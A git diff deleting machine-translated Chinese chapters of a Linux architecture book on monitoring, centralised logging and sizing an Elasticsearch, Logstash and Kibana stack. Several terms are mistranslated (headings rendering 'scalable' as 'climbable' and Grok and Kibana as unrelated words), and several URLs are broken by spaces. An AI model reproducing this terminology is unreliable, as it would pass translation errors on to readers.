MB/s,当用户在一天的前几个小时登录时,吞吐量会飙升至 300 MB/s。100 MB/s 的峰值起初似乎是一个问题,但从数据来看,这似乎是一种趋势,也是标准行为。 - -有了这些信息,我们知道基线约为 200 兆字节/秒,峰值为 300 兆字节/秒。当解决方案达到基准时,它的性能有望达到该规格。如果我们获得的结果低于这个数字,我们就知道有问题,需要进行调查以确定性能不佳的原因。这可能是解决方案的重新设计,也可能是配置的实际问题。另一方面,较高的数值表明即使在负载峰值下,该解决方案也可以按照规格运行。 - -没有这些数据,我们就不知道不稳定的行为是什么样子,也无法确认这是否是一个实际的问题,或者看看什么对环境来说是正常的。了解解决方案的性能和用途有助于发现可能不存在的问题。例如,考虑具有先前数字的情况,其中用户与存储服务器正常交互并且具有平均响应时间;但是,从监控数据中,我们观察到,即使在常规用户负载下,我们也只能获得 50 MB/s 的吞吐量。从用户的角度来看,一切似乎都很好,但当被询问时,他们确实报告说,即使响应时间很好,传输也比通常需要更长的时间,经过进一步调查,发现了一个问题,其中一个节点需要维护。 - -在前面的示例中,仅通过查看性能数据,就可以发现解决方案性能不足的情况,并采取措施避免停机和业务损失。这就是通过使用数据来了解环境的力量。 - -# 预算计划 - -数据使用趋势允许对预算规划进行更精细的控制,因为知道需要多少存储空间有助于避免没有提供足够空间的情况。 - -在[第 1 章](01.html)、*设计方法介绍*中,我们谈到了企业的采购流程,以及如何努力遵守时间表至关重要,因为这因公司而异。了解空间需求和使用情况对于这一过程至关重要,因为它可以帮助预测,例如,解决方案何时会耗尽空间,并可以帮助做出获取新存储空间的决策。 - -通过使用监控系统了解企业每天是否消耗 X 个存储量(也称为每日变化率),可以让系统管理员和架构师预测企业在当前可用空间下可以运行多长时间。这还将使他们能够预测解决方案何时会耗尽空间,以便他们能够在存储耗尽之前采取行动,这是每个信息技术部门都应该避免的情况。 - -了解资源利用率对于任何业务都至关重要,因为它可以防止不必要的设备采购。使用数据来决定是否应该向现有环境中添加更多资源,通过选择在升级时要添加的正确设备数量来降低成本。当应用由于缺乏资源(或过时的硬件)而表现不佳时,情况就不一样了,因为没有数据来确认当前环境是否按预期运行,并且仍有一定的增长空间。 - -今天,监测的需要比以往任何时候都更加重要。随着信息技术环境中数据的几乎指数级增长,能够预测行为并主动采取行动可以通过数据驱动的决策来实现,这只有通过监控系统(如 ELK 栈)才能实现。 - -# 集中式日志 - -在深入探讨 ELK 栈的构成之前,让我们先探讨一下集中式日志的概念。 - -想象以下场景;环境中似乎存在安全漏洞,在一些服务器中发现了一些外观奇怪的文件。查看`/var/log/secure`文件,发现多个地址的 root 登录,想知道哪些系统受到了影响。只有一个问题——环境中有 5,000 多台 Linux 服务器,您必须登录每个系统并查看日志。对每台主机进行 grep 可能需要大约一分钟;直接查看系统日志需要 83 个多小时。 - -必须前往每个节点的这个问题可以通过将日志聚合到一个集中的位置来解决。虽然该行业的其他部门似乎正在走去中心化服务的路线,但将所有环境日志放在一个位置有助于简化任务,例如调查可能影响多个系统的事件。只需寻找一个位置就可以减少故障排除所需的时间,同时使管理员能够更有效地查找环境中的问题。 - -集中式日志体系结构如下所示: - -![](img/56d1586c-58b4-46c8-be8a-551323da1d85.png) - -来自多个应用的日志被发送到日志解析器(如 Logstash),然后被移动到索引器(如 Elasticsearch)。每个主机都有一个代理,负责将日志传送给解析器。 - -解析器的工作是转换数据以便于索引,然后将数据发送给索引器。 - -在下一部分,我们将看看组成 ELK 栈的组件。 - -# Elasticsearch 概述 - -现在,我们将深入探讨 ELK 栈的组件,我们将从最重要的组件开始:Elasticsearch。 - -Elasticsearch 基于一个名为 Lucene 的 Apache 项目。它的作用是索引数据并存储起来以备以后检索。Elasticsearch 从不同的来源接收数据,并将其存储在一个集中的位置,或者多个节点(如果它们被设置为集群)。对于这个设置,我们将使用 Logstash 作为数据源;但是,Elasticsearch 可以直接从 Beats 接收数据,我们将在后面讨论。Elasticsearch 的核心是一个分析和搜索引擎,能够非常快速地检索数据;由于数据一旦存储就会被索引,因此 Elasticsearch 将数据存储为 JSON 文档。 - -定义 Elasticsearch 的几个因素如下: - -* 快的 -* 可攀登的 -* 高度可用 - -# 快的 - -搜索几乎是实时的;这意味着,当您输入搜索词时,Elasticsearch 几乎会立即返回结果。这要感谢作为 JSON 存储的索引和数据。 - -# 可攀登的 - -只需向集群中添加更多节点,即可快速扩展 Elasticsearch 集群。 - -# 高度可用 - -当配置为集群时,Elasticsearch 在多个节点之间分配碎片,在一个或多个节点出现故障时创建碎片的副本。 - -碎片是 JSON 文档的一个片段。Elasticsearch 创建碎片的副本,并将它们分配到集群节点上。这使得群集能够承受灾难性故障,因为数据仍然以副本的形式存在。 - -# logstash(日志记录) - -大多数情况下,数据(如日志文件)的设计是为了让人类能够轻松理解事件的含义。这种类型的数据是非结构化的,因为机器不能轻易地索引事件,因为它们不遵循相同的结构或格式。以系统日志和 Apache 为例。虽然每个日志提供不同类型的事件,但是没有一个遵循相同的格式或结构,并且对于索引系统来说,这成为一个问题。这就是 Logstash 的用武之地。 - -Logstash 数据处理解析器能够同时从多个来源接收数据,然后通过将其解析为结构化形式来转换数据,然后将其作为索引的、易于搜索的数据发送到 Elasticsearch。 - -Logstash 的一个主要特性是有大量的插件可以用于像 Grok 这样的过滤器,允许更大的灵活性来解析和索引什么类型的数据。 - -# 神交 - -Grok 是 Logstash 中的一个插件;它从系统日志、MySQL、Apache 和其他网络服务器日志等来源获取非结构化数据,并将其转换为结构化和可查询的数据,以便轻松摄入 Elasticsearch。 - -Grok 将文本模式组合成与日志匹配的东西,例如数字或 IP 地址。这种模式如下: - -```sh -%{SYNTAX:SEMANTIC} -``` - -这里,`SYNTAX`是匹配文本的模式的名称,SEMARY 是给文本段的标识符。 - -HTTP 事件的一个例子如下: - -```sh -55.3.244.1 GET /index.html 15824 0.043 -``` - -这方面的一个模式匹配可能如下: - -```sh -%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes} %{NUMBER:duration} -``` - -因此,通过将所有这些放在一个实际的过滤器配置中,它看起来像这样: - -```sh -input { - file { - path => "/var/log/http.log" - } -} -filter { - grok { - match => { "message" => "%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes} %{NUMBER:duration}" } - } -} -``` - -# 自定义模式 - -当运行一个定制的应用时,Logstash 将没有正确的模式来匹配语法和语义。Logstash 允许创建可以匹配自定义数据的自定义模式。可以使用前面示例中的相同逻辑来匹配数据。 - -# 基巴纳把一切都聚集在一起 - -Elasticsearch 是 ELK 栈的重要组成部分,Logstash 是解析和处理部分,而基巴纳是将其他所有内容聚合在一起的部分。 - -可视化数据的能力允许用户赋予他们的数据意义。只看原始数据,很难理解。Kibana 通过图形、地图和其他数据整形方法,可视化存储在 Elasticsearch 中的数据。 - -以下是从现场演示中快速浏览基巴纳的界面: - -![](img/f1cac6cf-9ffd-4ac3-a0e0-7c0dfbc8cc70.png) - -Kibana Dashboard - -我们可以看到用多个显示不同指标的模块来解释数据是多么容易。 - -Kibana 可以轻松理解大型数据集。作为一个基于浏览器的应用,它可以从任何地方访问。这也允许仪表板和报告与他人轻松共享。它可以安装在 Elasticsearch 旁边;但是,对于较大的部署,将主机分配给基巴纳是一个很好的做法。此外,Kibana 运行在 Node.js 上,因此它可以安装在几乎每一个可以运行 Node.js 的系统上,从所有风格的 Linux 到 Windows 和 MacOS。 - -# 摘要 - -在这一章中,我们探讨了监控的必要性,并了解了从环境中获取数据、汇总数据并存储的过程,以便以后可以检索数据进行进一步分析。能够通过浏览数据来塑造数据并了解环境的行为有助于提高运营效率。 - -监控使我们能够在问题发生或成为更大的问题之前主动发现问题。这是通过观察趋势来实现的,也是实施和设计监控解决方案的最重要原因之一。我们还谈到了能够主动采取行动,以及这如何有助于减少停机时间和在问题上浪费金钱;通过给数据赋予形状可以实现的事情。 - -性能也是受益于数据分析的一个领域。您可能还记得前几章,在设计解决方案时,能够对性能进行基线化和度量可以实现粒度控制。有历史数据可以参考,有助于做出影响设计性能的决策,同时允许我们根据运行环境中的真实数据来规划预算。 - -我们讨论了为什么拥有一个集中的日志记录系统可以帮助简化管理任务的主要原因;从一个位置查看所有日志,而不是连接到环境中的每个系统,可以节省时间,并允许更快、更高效的调查。 - -我们还概述了构成 ELK 栈的每个组件。Elasticsearch 是数据存储和分析的主要部分。我们注意到它非常快,因为数据存储为 JSON 文档;该解决方案是可扩展的,因为节点可以轻松添加;并且它是高度可用的,因为数据分布在节点上。 - -Logstash 通过 GROK 等插件提供数据转换和过滤,它将一个`SYNTAX`与一个`SEMANTIC`匹配,例如,一个 IP 与一个客户端匹配。 - -最后,我们研究了基巴纳如何通过综合图形可视化和分析数据来连接所有其他组件。 - -在下一章中,我们将进入每个组件的需求。 - -# 问题 - -1. 什么是监控? -2. 监控如何帮助做出业务决策? -3. 如何主动检测问题? -4. 监控如何允许性能基线化? -5. 监控如何帮助识别不稳定的行为? -6. 对集中式日志的主要需求是什么? -7. 什么是 Elasticsearch? -8. Elasticsearch 以什么格式存储数据? -9. 什么是 Logstash? -10. 什么是基巴纳? - -# 进一步阅读 - -* *动手大数据建模*作者:*李中清,陶伟:*[https://www . packtpub . com/大数据与商业智能/动手大数据建模](https://www.packtpub.com/big-data-and-business-intelligence/hands-big-data-modeling) -* *实用数据分析-第二版*作者:*赫克托·单面山,桑帕斯·库马尔博士:*[https://www . packtpub . com/大数据与商业智能/实用数据分析-第二版](https://www.packtpub.com/big-data-and-business-intelligence/practical-data-analysis-second-edition) \ No newline at end of file diff --git a/docs/handson-linux-arch/11.md b/docs/handson-linux-arch/11.md deleted file mode 100644 index 25397388..00000000 --- a/docs/handson-linux-arch/11.md +++ /dev/null @@ -1,294 +0,0 @@ -# 十一、设计 ELK 栈 - -设计符合要求规格的**弹性叠层**需要特别注意。每个组件**Elasticsearch、Logstash 和 Kibana** ( **ELK** )都有特定的要求。正确的规模对于最佳性能和功能至关重要。 - -本章介绍了部署弹性栈时的设计考虑事项,同时考虑了每个组件的需求以及具体的设置细节。在本章中,我们将描述每个组件如何受到不同资源的影响,我们如何处理资源限制,以及如何为不同的场景进行规划和调整。 - -在本章中,我们将讨论以下主题: - -* Elasticsearch 中央处理器尺寸要求 -* 内存大小如何影响 Elasticsearch 性能 -* 数据如何存储在 Elasticsearch 中,以及如何根据性能调整大小 -* 对 Logstash 和 Kibana 的要求 - -# 技术要求 - -虽然在[https://www . elastic . co/guide/en/elastic search/guide/current/hardware . html](https://www.elastic.co/guide/en/elasticsearch/guide/current/hardware.html)找到的文档已经过时,但硬件要求可以作为 CPU 规模调整的起点。有关更多有用的文档,请访问以下链接: - -* **索引速度设置指南:**[https://www . elastic . co/guide/en/elastic search/reference/current/tune-for-indexing-speed . html](https://www.elastic.co/guide/en/elasticsearch/reference/current/tune-for-indexing-speed.html) -* **更改 Elasticsearch 的堆配置:**T2【https://www . elastic . co/guide/en/elastic search/reference/current/heap-size . html -* **平均系统内存延迟:** -* **Elasticsearch 系统路径:**[https://www . elastic . co/guide/en/elastic search/reference/master/path-settings . html](https://www.elastic.co/guide/en/elasticsearch/reference/master/path-settings.html) -* **Logstash 持久队列:**[https://www . elastic . co/guide/en/Logstash/current/persistent-queues . html](https://www.elastic.co/guide/en/logstash/current/persistent-queues.html) -* **Logstash 目录路径:**[https://www . elastic . co/guide/en/Logstash/current/dir-layout . html](https://www.elastic.co/guide/en/logstash/current/dir-layout.html) - -# Elasticsearch 中央处理器要求 - -与任何软件一样,确定合适的 CPU 需求决定了应用的整体性能和处理时间。错误的中央处理器配置可能会导致应用不可用,因为处理需要太长时间才能完成,这让用户感到沮丧,更不用说缓慢的处理时间会导致应用完全失败。 - -虽然 Elasticsearch 并不严重依赖于中央处理器进行索引和搜索,但是在设计一个性能良好并及时返回结果的弹性栈时,需要考虑几个因素。 - -尽管 Elastic 没有公布对 CPU 的硬性要求,但有几件事可以作为经验法则来应用。 - -# 中央处理器计数 - -通常,拥有更多内核会更好,这可能是大多数工作负载的情况。Elasticsearch 通过跨多个 CPU 调度任务,利用系统上有多个可用内核;但是,它不需要大量的 CPU 处理能力,因为大多数操作都是在已经索引的文件上执行的。 - -大多数云提供商(如果您正在云上部署)都提高了高 CPU 数量虚拟机的速率,以避免不必要的成本,虚拟机类型的大小平衡了比 CPU 更多的内存。 - -在确定足够的 CPU 资源时,您应该考虑到一些增长,而不必中途更改设置。对于小型设置,至少有两个 CPU 就足够了。出于测试目的和少量的索引/源,即使一个 CPU 也足够了,但是性能会受到影响,尤其是如果所有的组件——Elasticsearch、Logstash 和基巴纳——都部署在同一个系统上。 - -# 中央处理器速度 - -虽然没有关于最低中央处理器速度(时钟速度)要求的硬文档,但现在要找到一个低于 2 千兆赫的中央处理器有些困难。这个低水位线似乎是 Elasticsearch 避免问题的最低要求。 - -任何高于 2 千兆赫的都可以接受,即使只有一个中央处理器;这对于测试目的来说是足够的。对于生产环境,寻找高于 2 千兆赫或 2.3 千兆赫的中央处理器时钟速度以避免问题。 - -# 中央处理器性能影响 - -如果在中央处理器方面配置了不正确的大小,Elasticsearch 将主要在以下三个方面受到影响: - -* 启动时间 -* 每秒索引数 -* 搜索延迟 - -# 启动 - -在启动期间,随着 JVM 启动和 Elasticsearch 从集群中读取数据,CPU 使用率可能会激增。CPU 配置较慢会导致 Elasticsearch 启动时间较长。 - -如果 Elasticsearch 节点要不断重启,拥有正确的中央处理器配置将有助于减少达到运行状态所需的时间。 - -# 每秒索引数 - -CPU 配置直接影响 Elasticsearch 每秒能够处理的索引数,因为一旦有更多的文档被索引,它就会耗尽周期。理想情况下,Elasticsearch 利用多个处理器上的索引,允许更多客户端发送数据,而不会丢失任何指标或事件。 - -# 搜索延迟 - -搜索返回结果所需的时间可能对性能影响最大。请记住,Elasticsearch 的主要功能之一是它检索和显示数据的速度。 - -CPU 配置过小会导致搜索时间比预期的长,这可能会导致令人沮丧的用户体验。 - -在下面的截图中,我们可以看到搜索延迟峰值几乎达到 80 毫秒,并徘徊在 20 毫秒左右: - -![](img/95698154-0f2a-4dad-abf0-75341cd8088d.png) - -Monitoring latency in Kibana  Note that the preceding screenshot was taken from an undersized system with just one CPU running at less than 2 GHz. The latency could be worse, but this was taken from a system running on a fast NVMe drive, which can have latency as low as 100 microseconds. - -# 推荐 - -为了获得最佳结果,需要实施正确的中央处理器设置。以下两种主要情况会影响 CPU 规模: - -* 测试/开发 -* 生产 - -# 测试/开发 - -对于测试来说,超过一个中央处理器和 2 千兆赫的任何东西对于一个小测试来说都足够了,两个客户端向 Elasticsearch 发送数据。搜索结果返回的速度可能有点慢,但它会毫无问题地工作。 - -# 生产 - -对于生产,请确保使用至少 2.3 千兆赫或以上的中央处理器。中央处理器数量不会对性能产生很大影响,但至少有两个中央处理器可以确保最佳运行。添加更多客户端后,可能需要修改 CPU 数量以满足额外需求;如果 CPU 成为限制,可以添加更多的 Elasticsearch 节点。 - -最后,在内核数量和时钟速度之间进行选择时,Elasticsearch 利用了多个内核。更少但更快的内核带来的性能优势不如拥有更多更慢的内核那么令人印象深刻。 - -When deploying on Azure, you can use a DS2v3 VM type for a small setup, as it offers two CPUs and enough RAM for basic needs. - -一旦我们正确确定了中央处理器的大小,我们就可以关注系统内存如何影响 Elasticsearch 的性能和可用性。 - -# Elasticsearch 的内存大小 - -为 Elasticsearch 分配足够的内存可能是要考虑的最重要的资源因素,以避免问题和性能不佳的设置。 - -内存是一种资源,拥有大量内存从来都不是问题。作为一名架构师,在确定内存大小时,您需要记住几件事。与 CPU 资源类似,对于最低内存要求没有硬文档。 - -# 文件系统缓存 - -拥有大量内存总是一个好主意,因为有文件系统缓存或 Linux 页面缓存。 - -内核通过为输入/输出请求分配部分内存来使用空闲的系统内存来缓存、读取或写入请求,从而大大加快了 Elasticsearch 的搜索或索引速度。 - -从下面的截图中可以看到,内核分配了大约 1.2 GB 的页面缓存: - -![](img/94cabe7d-acca-4cd1-baec-b009b8ea24e8.png) - -利用页面缓存有助于减少搜索或传入索引时的响应时间;请确保尽可能多地调整内存大小。有一点是缓存使用率将会平衡,不再有内存用于页面缓存。在这一点上,值得监控这个过程,尝试并确定这个阈值,以避免遇到不必要的费用。从长远来看,如果一个**虚拟机** ( **虚拟机**)的内存大小为 32 GB,但只使用了大约 10 GB 的缓存,并且从未超过这个数字,那么调整到一个更小的虚拟机可能是值得的,因为剩余的内存将被闲置。 - -正如您在下面截图中的 Kibana 仪表板中看到的,您可以监控 Elasticsearch 的缓存使用情况,这可能有助于识别资源是否未使用: - -![](img/063feca8-d22e-4fc0-8256-d4107c6a8235.png) - -Monitoring cache usage for Elasticsearch - -# 禁用交换 - -交换是一种机制,允许内核在不频繁访问或内存压力大(即系统内存不足)时将内存页面移动到磁盘。交换的一个主要问题是,当一个内存页面被移动到磁盘时,它的访问时间会比在内存中慢得多。 - -DDR4 内存的平均传输速率约为 10 GB/s,更令人印象深刻的是,平均响应时间(或延迟)仅为 13 ns(纳秒)。相比之下,即使是市场上最快的 NVMe 固态硬盘也只能达到 3.5 GB/s,延迟约为 400 微秒。您可以很快开始了解这是如何成为一个问题的:并非所有云提供商或内部安装都使用 NVMe 驱动器,并且换用速度更慢的旋转介质可能会产生非常糟糕的结果。 - -因此,Elasticsearch 建议禁用所有形式的交换,转而依赖正确的系统内存大小。 - -# 内存不足 - -内存配置错误会导致不同的行为。它可以归结为两种不同的情况:没有足够的内存,但有足够的内存来运行系统,以及没有足够的内存,以至于 Elasticsearch 甚至无法启动。 - -对于第一种情况,内存有限制,但刚好足够 Elasticsearch 启动和运行,主要问题是没有足够的内存用于页面缓存,这导致搜索速度慢,每秒索引减少。在这种情况下,Elasticsearch 能够运行,但整体性能下降。 - -另一种情况可以分为两种不同的情况:一种是没有足够的内存来启动 Elasticsearch,另一种是 Elasticsearch 可以启动,但是一旦添加了一些索引,它就会耗尽内存。为了避免系统崩溃,Linux 有一个机制叫做**内存不足杀手** ( **OOM 杀手**)。 - -# 无法启动 - -Elasticsearch 使用 JVM,默认情况下,它被设置为使用至少 1 GB 的堆内存。这意味着 Java 需要为 JVM 分配至少 1 GB 的内存,所以对于 Elasticsearch 来说,从最小的内存开始,它需要大约 2.5 GB 的内存。 - -判断此问题何时发生的最简单方法是使用`systemctl status elasticsearch`验证 Elasticsearch 服务的状态;它将返回类似如下的错误消息: - -![](img/57c77d4e-6e95-433b-b5ca-56f62fcf3ec8.png) - -在进一步检查错误日志时,我们可以清楚地看到 JVM 如何未能分配必要的内存,如以下代码所示: - -```sh -# There is insufficient memory for the Java Runtime Environment to continue. -# Native memory allocation (mmap) failed to map 899284992 bytes for committing reserved memory. -# Possible reasons: -# The system is out of physical RAM or swap space -# In 32 bit mode, the process size limit was hit -# Possible solutions: -# Reduce memory load on the system -# Increase physical memory or swap space -# Check if swap backing store is full -# Use 64 bit Java on a 64 bit OS -# Decrease Java heap size (-Xmx/-Xms) -# Decrease number of Java threads -# Decrease Java thread stack sizes (-Xss) -# Set larger code cache with -XX:ReservedCodeCacheSize= -# This output file may be truncated or incomplete. -# -# Out of Memory Error (os_linux.cpp:2760), pid=933, tid=0x00007f1471c0e700 -``` - -Testing using the default heap of 1 GB is sufficient. For production, make sure that you increase the heap to at least 2 GB and adjust as necessary. - -要增加堆,编辑`/etc/elasticsearch/jvm.options`文件并找到以下选项: - -```sh --Xms1g --Xmx1g -``` - -将这两个选项更改为以下选项: - -```sh --Xms2g --Xmx2g -``` - -The `-Xms2g` phrase indicates that Java should have a minimum heap of 2 GB and `-Xmx2g` indicates the maximum heap of 2 GB. - -# OOM 杀手 - -**内存不足杀手** ( **OOM 杀手**)机制的主要目的是通过杀死正在运行的进程来避免整个系统崩溃。每个过程都有一个`oom_score`值。OOM 杀手根据这个分数决定杀死哪个进程;分数越高,在内存不足的情况下,进程被终止的可能性就越大。这个分数是根据进程被终止时释放的内存来计算的。 - -如果我们以前面的场景为起点,如果 Elasticsearch 能够从最低 2.5 GB 开始,一旦有更多的索引/源添加到 Elasticsearch,它将开始需要越来越多的系统内存,直到没有更多内存,系统接近完全崩溃。在那一刻,OOM 杀手跳了进来,杀死了消耗最多内存的进程——在我们的例子中,是 Elasticsearch。 - -在查看`/var/log/messages`下的事件时,我们可以看到 OOM killer 是如何启动并杀死 Java 进程,然后 Elasticsearch 服务失败的,如下图截图所示: - -![](img/e60a2a14-9647-4e00-991c-6ff60d1f572e.png) - -# 推荐 - -理想情况下,应该为 Elasticsearch 分配足够的内存。对内存的最低要求约为 2.5 GB,但这将导致系统内存很快耗尽的情况。 - -出于测试的目的,2.5 GB 对于一些源/索引来说可能已经足够了。性能无疑会受到影响,但它仍将保持一定的可用性。 - -对于生产环境,请确保至少有 4 GB 或更多的系统内存。这应该允许 Elasticsearch 在没有问题的情况下启动,并在配置了多个源/索引的情况下正常运行。确保 JVM 的堆大小相应增加,并考虑为页面缓存留出一些内存,以便在与文件系统交互时加快响应速度。 - -接下来,我们将了解 Elasticsearch 所需的存储配置。 - -# Elasticsearch 的存储配置 - -Elasticsearch 的存储要求相对简单,可以分为两大类: - -* 存储容量 -* 存储性能 - -让我们仔细研究一下这两个问题,看看在这里做出的决策会如何影响整体性能。 - -# 容量 - -存储容量直接影响 Elasticsearch 能够存储的数据量。与许多其他情况一样,这是一个需要考虑的大而复杂的要求,因为它取决于影响空间利用率的许多其他变量。 - -主要变量是发送到 Elasticsearch 的日志/指标的大小。这取决于每天(或每月)生成的日志数量。例如,如果每日日志速率为 100 MB,那么这意味着,为了能够存储一个月的日志,至少需要 3 GB 的可用空间(100 MB x 30 天= 3 GB)。 - -请注意,这是单个源所需的最小空间。理想情况下,应该考虑一些开销,因为数据会定期变化,并且 100 MB/天的数字可能不是一个月中的所有日子都是恒定的,或者其他月份由于负载较高而具有较高的速率。此外,一旦添加了更多的源(或客户端),数据使用量也会相应增加。 - -By default, Elasticsearch will store its data under the `/var/lib/elasticsearch` directory. - -# 表演 - -Elasticsearch 的一个主要特点是它能够快速检索数据。虽然这是使用将文档存储为 JSON 文件的增强机制来完成的,但是拥有正确的性能设置肯定有助于实现几乎实时的搜索结果。 - -Elastic 没有为存储需求提供硬编号,但是使用**固态硬盘** ( **固态硬盘**)作为`/var/lib/elasticsearch`目录有助于减少执行搜索时的延迟,因为与硬盘相比,固态硬盘的延迟要低得多。固态硬盘在接收数据时也有所帮助,因为写入会得到更快的确认,从而允许更多的并发传入索引。这反映在每秒的索引中,可以在基巴纳监控仪表板上看到。 - -在为云调整规模时,这实际上取决于提供商,因为有些提供商将磁盘的性能基于其大小,但有些提供商允许手动配置性能(如 IOPS 和吞吐量)。 - -由于不可靠、较慢的磁盘设置,较慢的设置将导致搜索时间比预期的长,并且数据接收速度较慢。 - -# 考虑 - -对于空间,请考虑一个能为意外数据增长留出足够空间的规模。例如,如果整个月的预期数据使用量为 500 GB,请考虑至少 700 GB 的大小;这样做可以给你一个缓冲区,避免 Elasticsearch 索引没有足够空间的情况。一个好的起点是 500 GB,因为它为测试/生产提供了足够的空间,同时计算了实际的数据使用和数据变化(如果以前不知道的话)。 - -对于性能,考虑使用更快的存储解决方案,如固态硬盘,以实现低延迟搜索和更快的索引速度。对于云,大多数提供商都有某种固态硬盘产品,可以与 Elasticsearch 一起使用。确保至少配置了 500 个 IOPS 以获得最佳性能。 - -For Azure, you can use a P10 disk—which is an SSD that can provide up to 500 IOPS—or an E10 as a lower cost alternative that delivers the same result. - -我们现在来看看 Logstash 和 Kibana 需要考虑什么。 - -# Logstash 和 Kibana 要求 - -对 Logstash 和 Kibana 没有具体的要求,但是在设计弹性栈时记住几件事总是一个好方法。 - -# logstash(日志记录) - -Logstash 对 CPU 和 RAM 的要求都不高,但这完全取决于有多少源在提供 Logstash 数据,因为对于 Logstash 解析的每个事件,都需要一些开销来完成这个过程。如果 Logstash 要独立安装(同一系统上没有其他组件),那么一个 vCPU 和 2gb 内存以上的任何东西都应该足以满足小型/测试部署。理想情况下,应该监控实际使用情况,并相应地调整系统。默认情况下,Logstash 具有用于临时存储事件的内存队列;处理事件时,可以更改此行为以使用持久队列。这允许持久的一致性,并避免停机期间的数据丢失。此外,拥有持久队列有助于通过充当客户端和 Logstash 之间的缓冲区来吸收突发事件。 - -当使用持久队列存储容量时,`/var/lib/logstash`目录需要能够存储由 Logstash 处理的事件。空间大小取决于两个因素:将数据发送到 Elasticsearch 时的出口速度和发送到 Logstash 的事件数量。最小值为 1 GB,当源数量增加时,空间需要相应增加。 - -# 姆纳人 - -对 Kibana 的要求完全取决于同时访问仪表板的用户数量。分配给基巴纳的资源量需要基于预期的使用情况,例如,预期的用户基础是什么?这些用户中有多少人会同时访问基巴纳? - -对于小型部署/测试,最低要求由 JVM 决定。一个 vCPU 和 2 GB 的 RAM 对于几个用户来说已经足够了,但是一旦更多的用户开始使用仪表盘,RAM 将成为第一个成为瓶颈的资源。 - -In general, an Elastic Stack has pretty loose requirements that are mostly dictated by the usage and the number of sources. Regarding software, the primary requirement is Java; since all of the components use the JVM, either the open JDK or the official JDK can be used. - -# 摘要 - -在这一章中,我们讨论了使用 Elasticsearch、Logstash 和 Kibana 设计弹性栈时所需的需求。对于 Elasticsearch,我们确定小型设置的最低 CPU 要求是两个虚电路,CPU 速度应该保持在 2 千兆赫以上。如果不满足这些最低要求,Elasticsearch 将需要更长的启动时间,并且执行速度会更慢。这表现为每秒索引数量的减少和搜索延迟的增加,这两者都是需要避免的事情,以便我们能够充分利用 Elasticsearch 提供的近即时搜索。 - -设计 Elasticsearch 设置时,内存大小可能是最重要的规格。系统内存的一部分将用于文件系统缓存(也称为页面缓存),这有助于每秒的搜索和索引。不建议交换,因为与实际的内存访问相比,交换被认为非常慢,因此应该在 Elasticsearch 节点上禁用交换。如果不满足正确的内存要求,Elasticsearch 将无法完全启动,因为没有足够的内存供 JVM 启动。另一方面,如果有足够的内存来启动 JVM,但是负载会随着时间的推移而增加,并且系统内存不足,那么 OOM 或内存不足杀手就会介入,以避免导致应用失败的系统崩溃。所需的最小内存量是 2.5 GB,但资源限制会相对较快地显现出来。 - -存储容量和性能在设置 Elasticsearch 时起着重要作用。容量取决于需要保留的数据量和配置的源数量。为了让我们的搜索更快,需要将延迟保持在最小。理想情况下,应该使用固态硬盘。 - -最后,对于 Logstash 和 Kibana,每个组件的最低要求是一个 vCPU 和 2 GB 内存。对于 Logstash,持久队列需要空间。 - -在下一章中,我们将利用本章中所学的知识,使用 Elasticsearch、Logstash 和 Kibana 跳转到部署弹性栈。 - -# 问题 - -1. Elasticsearch 推荐多少个 CPU? -2. Elasticsearch 推荐的最低 CPU 速度是多少? -3. 错误的中央处理器配置如何影响 Elasticsearch 性能? -4. 什么是页面缓存? -5. 为什么建议您禁用 Elasticsearch 节点上的交换? -6. 内存不足如何影响 Elasticsearch? -7. Elasticsearch 所需的最小内存是多少? -8. 默认情况下,Elasticsearch 将数据存储在哪里? -9. 为什么建议 Elasticsearch 使用固态硬盘? -10. Logstash 的最低要求是什么? -11. 什么是持久队列? -12. 什么影响了基巴纳的资源使用? - -# 进一步阅读 - -有关更多信息,您可以阅读以下书籍: - -* ***Linux:强大的服务器管理*,作者:乌代·r·萨万特等人。**:[https://www . packtpub . com/networking-and-servers/Linux-power-server-administration](https://www.packtpub.com/networking-and-servers/linux-powerful-server-administration) \ No newline at end of file diff --git a/docs/handson-linux-arch/12.md b/docs/handson-linux-arch/12.md deleted file mode 100644 index 2ce524b8..00000000 --- a/docs/handson-linux-arch/12.md +++ /dev/null @@ -1,947 +0,0 @@ -# 十二、使用 Elasticsearch、Logstash 和 Kibana 管理日志 - -部署 **Elasticsearch** 、 **Logstash** 和 **Kibana** ( **ELK Stack** )相对简单,但是在安装这些组件时需要考虑几个因素。虽然这不是对弹性栈的深入指导,但主要的要点将是实现方面、通过流程做出的决策,以及作为架构师,您在做出这些决策时应该如何思考。 - -作为架构师,本章将帮助您定义部署 ELK 栈所需的方面,以及在使用组成弹性栈的组件时使用什么配置。 - -在本章中,我们将讨论以下主题: - -* 安装和配置 Elasticsearch -* 安装和配置 Logstash 和 Kibana -* 安装和解释 Beats -* 配置 Kibana 仪表板 - -# 技术要求 - -本章将使用以下工具和安装: - -* **Elasticsearch 安装指南**:[https://www . elastic . co/guide/en/elastic search/reference/current/_ installation . html](https://www.elastic.co/guide/en/elasticsearch/reference/current/_installation.html) -* **XFS 条纹大小和条纹单位“如何”**:[http://xfs . org/index . PHP/XFS _ FAQ # Q:_ How _ to _ calculate _ the _ correct _ sunit . 2cswidth _ values _ for _ optimal _ performance](http://xfs.org/index.php/XFS_FAQ#Q:_How_to_calculate_the_correct_sunit.2Cswidth_values_for_optimal_performance) -* **XFS 写壁垒**:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/7/html/storage _ administration _ guide/writerbarrieronoff](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/writebarrieronoff) -* **Elasticsearch 配置详情**:[https://www . elastic . co/guide/en/elastic search/reference/current/settings . html](https://www.elastic.co/guide/en/elasticsearch/reference/current/settings.html) -* **在 Elasticsearch 中避免大脑分裂**:[https://www . elastic . co/guide/en/elastic search/reference/current/modules-node . html #大脑分裂](https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-node.html#split-brain) -* **Elasticsearch 集群状态 API**:[https://www . elastic . co/guide/en/elastic search/reference/current/cluster-state . html](https://www.elastic.co/guide/en/elasticsearch/reference/current/cluster-state.html) -* **Logstash 安装指南**:[https://www . elastic . co/guide/en/Logstash/current/installing-Logstash . html](https://www.elastic.co/guide/en/logstash/current/installing-logstash.html) -* **Kibana 用户指南以及如何安装**:[https://www.elastic.co/guide/en/kibana/current/rpm.html](https://www.elastic.co/guide/en/kibana/current/rpm.html) -* 【Beats 模块的 Logstash 